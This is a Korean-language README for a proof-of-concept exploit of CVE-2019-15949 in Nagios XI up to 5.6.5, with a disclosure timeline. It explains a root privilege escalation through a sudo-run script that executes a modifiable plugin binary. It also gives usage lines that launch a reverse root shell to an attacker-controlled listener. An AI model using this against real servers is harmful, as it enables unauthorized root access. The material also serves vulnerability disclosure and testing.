
Nagios CVE-2019-15949 RCE를 위한 Python PoC
CVE-2019-15949용 파이썬 PoC
Nagios XI <= 5.6.5에 취약점이 존재하며, 공격자는 RCE를 이용하여 권한을 root로 상승시킬 수 있습니다. 이 익스플로잇을 실행하려면 'nagios' 사용자로 서버에 접근할 수 있어야 하거나, 웹 인터페이스를 통해 플러그인을 관리할 권한이 있는 CCM 접근 권한이 필요합니다.
시스템 프로필 다운로드(profile.php?cmd=download)를 통해 호출되는 getprofile.sh 스크립트는 비밀번호 없는 sudo 항목을 통해 root로 실행됩니다. 이 스크립트는 nagios 사용자가 소유한 'check_plugin' 실행 파일을 실행합니다. Nagios XI에 플러그인 수정 권한으로 로그인한 사용자 또는 서버의 'nagios' 사용자는 'check_plugin' 실행 파일을 수정하여 root로 실행되는 악성 명령을 삽입할 수 있습니다.
역방향 루트 셸을 생성하는 페이로드를 업로드하는 PHP PoC가 개발되었습니다. 사용법:
python3 exploit.py tagetIp [ssl=false/true] username password Lhost lport
예시:
python3 exploit.py 10.10.11.9 false nagiosadmin admin 10.10.11.14 4444
Nagios에 보고: 2019년 7월 29일 Nagios가 확인: 2019년 7월 29일 버전 5.6.6에서 수정: 2019년 8월 20일 CVE 할당: 2019년 9월 6일 (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949)